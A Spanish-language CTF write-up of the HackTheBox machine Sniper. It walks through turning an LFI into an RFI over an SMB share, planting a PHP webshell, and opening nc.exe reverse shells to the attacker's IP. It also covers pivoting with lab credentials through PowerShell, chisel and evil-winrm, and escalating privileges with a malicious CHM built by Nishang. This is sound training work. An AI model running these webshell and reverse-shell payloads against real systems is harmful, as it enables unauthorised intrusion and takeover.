Saltar al contenido

HackTheBox – Sniper – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Sniper de Hack The Box. Es una máquina Windows de nivel medio, en la que exploto una vulnerabilidad de Local File Inclusion (LFI) que transformo en un Remote File Inclusion (RFI), una escalada de privilegios basada en user pivoting, del que existen varias formas de conseguirlo, y la creación de un fichero malicioso.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- -n --open --min-rate 5000 10.10.10.151

En la máquina hay cuatro puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p80,135,139,445 -sV -sC 10.10.10.151
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-11 20:39 CET
Nmap scan report for 10.10.10.151
Host is up (0.12s latency).

PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h15m59s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-03-12T02:55:51
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.03 seconds

Con crackmapexec averiguo que se trata de una máquina con Windows 10 de 64 bits.

crackmapexec smb 10.10.10.151

HTTP

Comienzo obteniendo información básica de la web con whatweb.

whatweb -a 3 http://10.10.10.151:80/

y, a continuación, accedo a la web.

Entro al blog y a primera vista no aparece nada llamativo.

Pero al leer el código fuente, encuentro tres etiquetas interesantes.

Explotación

LFI

El parámetro lang puede ser un vector potencial de Local File Inclusión (LFI) y está cargando un fichero .php. Pruebo a leer un fichero típico de Windows como es /windows/win.ini y veo que me deja leerlo, así que confirmo la vulnerabilidad LFI.

Para trabajar de forma mas cómoda, capturo la petición con BurpSuite y la mando al repeater.

Pruebo otra ruta típica como es \windows\System32\drivers\etc\hosts.

A continuación, intento ejecutar un archivo remoto a través de PHP pero no obtengo respuesta. Esto seguramente se deba a que la ejecución remota de comandos (RCE) esté deshabilitada pero se me ocurre que, ya que php está habilitado, puedo intentar una ejecución local de ficheros (RFI) a través de un servidor samba.

RFI

Primero pongo un samba a la escucha he intento leer el fichero info.php.

<?php

	phpinfo();
?>
sudo impacket-smbserver -smb2support evil .

Aunque consigo que establezca conexión, no consigo que funcione correctamente, por lo que decido modificarlo para crear un servidor samba estándar en Linux (más info aquí).

sudo net usershare add evil /home/DrP1ng/ctf/htb/sniper/ '' 'Everyone:F' guest_ok=y

Vuelvo a intentar la petición y ya puedo ver la página de información de php.

Reviso las funciones de php deshabilitadas y veo que no hay ninguna.

Vuelvo a crear un fichero php pero esta vez busco que sea un backdoor que me permita ejecutar comandos.

<?php system($_GET['cmd']); ?>

Como se puede ver en las imágenes anteriores, he conseguido una webshell.

Para conseguir una shell por consola, utilizo un binario de netcat (nc.exe), lo cargo en el directorio compartido de Samba y consigo una consola de powershell.

http://10.10.10.151/blog/?lang=//10.10.14.16/evil/cmd.php&cmd=\\10.10.14.16\evil\nc.exe+-e+powershell.exe+10.10.14.16+443

Me dirijo a la ruta C:\inetpub\wwwroot\user y encuentro un fichero llamado db.php.

Lo abro y encuentro lo que parece ser una contraseña para mysql.

Compruebo los usuarios del sistema con directorio propio en la máquina y deduzco que el password debe pertenecer al usuario Chris.

Compruebo la información del usuario Chris y veo que esta en el grupo Remote Management Users por lo que las credenciales deberían servir para autenticarme de forma remota.

En adelante puedo hacer el user pivoting de dos formas: Elevando consola o a través de un remote port-forwarding.

Elevando Consola

Como no puedo conectarme de forma remota, solo puedo «elevar consola», esto ya lo he hecho anteriormente en las máquinas Bart y Control de HTB. Ejecuto los siguientes comandos y compruebo que el método funciona.

hostname
$user = 'Sniper\Chris'
$pass = '36mEAhz/B8xQ~2VM'
$secpass = ConvertTo-SecureString $pass -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential $user,$secpass
Invoke-Command -Computer localhost -Credential $cred -ScriptBlock {whoami}
whoami

Esto significa que las credenciales son válidas. Ejecuto el binario nc.exe que estoy compartido por Samba como el usuario Chris y obtengo una shell reversa.

Invoke-Command -Computer localhost -Credential $cred -ScriptBlock {\\10.10.14.16\evil\nc.exe -e powershell.exe 10.10.14.16 443}

Remote Port-Forwarding

Enumero las conexiones activas y veo que el puerto 5985 está a la escucha. Este puerto es el habitual de WinRM.

netstat -nato

Me descargo Chisel y subo el binario exe a la máquina víctima.

A continuación, creo un servidor remoto por el puerto 1234 en mi máquina atacante.

./chisel server --reverse --port 1234

Me conecto con chisel en modo cliente a la máquina victima por el puerto 1234 y hago un Remote Port-Forwarding llevando el puerto 5985 de la máquina de victimas al puerto 5985 de la máquina atacante.

./chisel.exe client 10.10.14.16:1234 R:5985:127.0.0.1:5985

Compruebo que se ha establecido el túnel.

Compruebo con crackmapexec las credenciales y veo que son válidas para conectarme por WinRM.

crackmapexec winrm 127.0.0.1 -u 'Chris' -p '36mEAhz/B8xQ~2VM'

Consigo una shell reversa con evil-winrm.

evil-winrm -i 127.0.0.1 -u 'Chris' -p '36mEAhz/B8xQ~2VM'

La flag de usuario la encuentro en la ruta C:\Users\Chris\Desktop\user.txt.

Escalada de Privilegios

En la ruta C:\Docs encuentro un fichero llamado note.txt.

En la carpeta de descargas del directorio de Chris hay un fichero llamado instructions.chm.

Windows reversa la extensión chm para los ficheros de ayuda, por lo que podría ser la documentación del la que hablaba el CEO en la nota.

Investigué un poco y encontré que Nishang posee el script Out-CHM.ps1 que puede generar un payload malicioso.

Creo el laboratorio y genero el payload en una máquina de pruebas (más info aquí) y después lo paso a mi kali.

Import-Module .\Out-CHM.ps1
Out-CHM -Payload "C:\Windows\Temp\evil\nc.exe -e powershell.exe 10.10.14.16 443" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

Ahora, primero subo el nc.exe a la ruta indicada en el payload.

Subo el payload a C:\Docs.

Y en unos pocos segundos consigo la shell reversa.

La flag de administrador la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enCTFHTBNetworkingOSCPPort Forwardingwindows